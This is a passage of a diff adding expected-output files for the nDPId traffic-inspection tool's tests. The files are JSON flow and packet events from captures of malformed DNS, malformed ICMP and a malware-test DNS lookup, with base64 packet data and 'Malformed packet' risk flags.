8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8+Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz\/AQD0+Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/wEHAQjs8PT4\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/P8BDwETARcBGNzg5Ojs8PT4\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz\/AR8BIwEnASsBLwEzATcBOLzAxMjM0NTY3ODk6Ozw9Pj8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/wE\/AUMBRwFLAU8BUwFXAVsBXwFjAWcBawFvAXMBdwF4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9PsBfwGDAYcBiwGPAZMBlwGbAZ8BowGnAasBrwGzAbcBuwG\/AcMBxwHLAc8B0wHXAdsB3wHjAecB6wHvAfMB9wH4AAQABwAwAAQABAAAAAAAEQkJCQsAMAAUAAQAAAAAATANBQUE\/MDAwMDEwMDAyMDAxMTAwMTIwMDIxMDAyMjAxMDEwMjAxMTEwMTEyMDEyMTAxMjIwMjAyMTEwMjEyMDIyMTAyBQAAAAAAwP8="} +00691{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2,"source":"malformed_dns.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_first_seen":1591551760342,"flow_last_seen":1591551760357,"flow_tot_l4_data_len":1432,"flow_min_l4_data_len":36,"flow_max_l4_data_len":1396,"flow_avg_l4_data_len":716,"midstream":0,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50435,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"www.xt.com","num_queries":2,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"0.0.0.0"}} +02609{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"malformed_dns.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591551760,"pkt_ts_usec":372114,"pkt_caplen":1430,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1430,"pkt_l4_len":1396,"pkt":"\/\/\/\/\/\/\/\/AAAAAAAACABFAAWIAAEAAEARd2J\/AAABfwAAAQA1xQMFdLSchLSBAAACAAIAAAAAA3d3dwJ4dANjb20AAAEAASJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBPwAAAAA\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8+Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz\/AQD0+Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/wEHAQjs8PT4\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/P8BDwETARcBGNzg5Ojs8PT4\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz\/AR8BIwEnASsBLwEzATcBOLzAxMjM0NTY3ODk6Ozw9Pj8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/wE\/AUMBRwFLAU8BUwFXAVsBXwFjAWcBawFvAXMBdwF4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9PsBfwGDAYcBiwGPAZMBlwGbAZ8BowGnAasBrwGzAbcBuwG\/AcMBxwHLAc8B0wHXAdsB3wHjAecB6wHvAfMB9wH4AAQABwAwAAQABAAAAAAAEQkJCQsAMAAUAAQAAAAAATANBQUE\/MDAwMDEwMDAyMDAxMTAwMTIwMDIxMDAyMjAxMDEwMjAxMTEwMTEyMDEyMTAxMjIwMjAyMTEwMjEyMDIyMTAyBQAAAAAAwP8="} +00437{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"malformed_dns.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591551765,"pkt_ts_usec":342879,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"AAAAAAAAAAAAAAAACABFAAA4ny8AAEAR3YN\/AAABfwAAAcUDADUAJP43hLQBAAABAAAAAAAAA3d3dwJ4dANjb20AAAEAAQ=="} +00691{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":4,"source":"malformed_dns.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1591551760342,"flow_last_seen":1591551765342,"flow_tot_l4_data_len":2864,"flow_min_l4_data_len":36,"flow_max_l4_data_len":1396,"flow_avg_l4_data_len":716,"midstream":0,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50435,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"www.xt.com","num_queries":2,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"0.0.0.0"}} +02609{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"malformed_dns.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591551765,"pkt_ts_usec":355529,"pkt_caplen":1430,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1430,"pkt_l4_len":1396,"pkt":"\/\/\/\/\/\/\/\/AAAAAAAACABFAAWIAAEAAEARd2J\/AAABfwAAAQA1xQMFdLSchLSBAAACAAIAAAAAA3d3dwJ4dANjb20AAAEAASJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBPwAAAAA\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8+Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz\/AQD0+Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/wEHAQjs8PT4\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/P8BDwETARcBGNzg5Ojs8PT4\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz\/AR8BIwEnASsBLwEzATcBOLzAxMjM0NTY3ODk6Ozw9Pj8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/wE\/AUMBRwFLAU8BUwFXAVsBXwFjAWcBawFvAXMBdwF4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9PsBfwGDAYcBiwGPAZMBlwGbAZ8BowGnAasBrwGzAbcBuwG\/AcMBxwHLAc8B0wHXAdsB3wHjAecB6wHvAfMB9wH4AAQABwAwAAQABAAAAAAAEQkJCQsAMAAUAAQAAAAAATANBQUE\/MDAwMDEwMDAyMDAxMTAwMTIwMDIxMDAyMjAxMDEwMjAxMTEwMTEyMDEyMTAxMjIwMjAyMTEwMjEyMDIyMTAyBQAAAAAAwP8="} +00691{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":5,"source":"malformed_dns.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":5,"flow_first_seen":1591551760342,"flow_last_seen":1591551765355,"flow_tot_l4_data_len":4260,"flow_min_l4_data_len":36,"flow_max_l4_data_len":1396,"flow_avg_l4_data_len":852,"midstream":0,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50435,"dst_port":53,"l4_proto":"udp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"www.xt.com","num_queries":2,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"0.0.0.0"}} +02609{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"malformed_dns.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1591551765,"pkt_ts_usec":368813,"pkt_caplen":1430,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1430,"pkt_l4_len":1396,"pkt":"\/\/\/\/\/\/\/\/AAAAAAAACABFAAWIAAEAAEARd2J\/AAABfwAAAQA1xQMFdLSchLSBAAACAAIAAAAAA3d3dwJ4dANjb20AAAEAASJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBPwAAAAA\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8+Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz\/AQD0+Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/wEHAQjs8PT4\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/P8BDwETARcBGNzg5Ojs8PT4\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz\/AR8BIwEnASsBLwEzATcBOLzAxMjM0NTY3ODk6Ozw9Pj8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/Pz8\/wE\/AUMBRwFLAU8BUwFXAVsBXwFjAWcBawFvAXMBdwF4fICEiIyQlJicoKSorLC0uLzAxMjM0NTY3ODk6Ozw9PsBfwGDAYcBiwGPAZMBlwGbAZ8BowGnAasBrwGzAbcBuwG\/AcMBxwHLAc8B0wHXAdsB3wHjAecB6wHvAfMB9wH4AAQABwAwAAQABAAAAAAAEQkJCQsAMAAUAAQAAAAAATANBQUE\/MDAwMDEwMDAyMDAxMTAwMTIwMDIxMDAyMjAxMDEwMjAxMTEwMTEyMDEyMTAxMjIwMjAyMTEwMjEyMDIyMTAyBQAAAAAAwP8="} diff --git a/test/results/malformed_icmp.pcap.out b/test/results/malformed_icmp.pcap.out new file mode 100644 index 000000000..968763935 --- /dev/null +++ b/test/results/malformed_icmp.pcap.out @@ -0,0 +1,3 @@ +00448{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"malformed_icmp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1593066612951,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"218.152.179.213","dst_ip":"218.152.179.54","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00397{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"malformed_icmp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593066612,"pkt_ts_usec":951269,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"pkt":"AFUir8Y3AERm\/CmvCABFAAAcAAEAAEABXqPamLPV2pizNqUAWv8AAAAA"} +00519{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"malformed_icmp.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1593066612951,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"218.152.179.213","dst_ip":"218.152.179.54","l4_proto":"icmp","ndpi": {"flow_risk": {"17":"Malformed packet"},"proto":"ICMP","breed":"Acceptable","category":"Network"}} diff --git a/test/results/malware.pcap.out b/test/results/malware.pcap.out new file mode 100644 index 000000000..3299a4f40 --- /dev/null +++ b/test/results/malware.pcap.out @@ -0,0 +1,37 @@ +00464{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"malware.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1569571466977,"flow_last_seen":0,"flow_tot_l4_data_len":72,"flow_min_l4_data_len":72,"flow_max_l4_data_len":72,"flow_avg_l4_data_len":72,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.7.7","dst_ip":"1.1.1.1","src_port":42370,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569571466,"pkt_ts_usec":977364,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"CGoKOl4eMFLLbJwbCABFAABcg9cAAEARLQnAqAcHAQEBAaWCADUASMoKC6QBIAABAAAAAAABA3d3dw9pbnRlcm5ldGJhZGd1eXMDY29tAAABAAEAACkQAAAAAAAADAAKAAjrBFAObfGpig=="} +00634{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"malware.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1569571466977,"flow_last_seen":0,"flow_tot_l4_data_len":72,"flow_min_l4_data_len":72,"flow_max_l4_data_len":72,"flow_avg_l4_data_len":72,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.7.7","dst_ip":"1.1.1.1","src_port":42370,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"www.internetbadguys.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00482{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569571467,"pkt_ts_usec":1085,"pkt_caplen":110,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":110,"pkt_l4_len":76,"pkt":"MFLLbJwbCGoKOl4eCABFAABgLqZAADcRSzYBAQEBwKgHBwA1pYIATEdsC6SBgAABAAEAAAABA3d3dw9pbnRlcm5ldGJhZGd1eXMDY29tAAABAAHADAABAAEAAAABAARD11zSAAApBawAAAAAAAA="} +00661{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2,"source":"malware.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_first_seen":1569571466977,"flow_last_seen":1569571467001,"flow_tot_l4_data_len":148,"flow_min_l4_data_len":72,"flow_max_l4_data_len":76,"flow_avg_l4_data_len":74,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.7.7","dst_ip":"1.1.1.1","src_port":42370,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"www.internetbadguys.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"67.215.92.210"}} +00442{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3,"source":"malware.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1569571470672,"flow_last_seen":0,"flow_tot_l4_data_len":64,"flow_min_l4_data_len":64,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":64,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.7.7","dst_ip":"144.139.247.220","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"malware.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569571470,"pkt_ts_usec":672893,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"CGoKOl4eMFLLbJwbCABFAABU4M1AAEABCcTAqAcHkIv33AgApMYAAQABjsKNXQAAAABuRAoAAAAAABAREhMUFRYXGBkaGxwdHh8gISIjJCUmJygpKissLS4vMDEyMzQ1Njc="} +00474{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":3,"source":"malware.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1569571470672,"flow_last_seen":0,"flow_tot_l4_data_len":64,"flow_min_l4_data_len":64,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":64,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.7.7","dst_ip":"144.139.247.220","l4_proto":"icmp","ndpi": 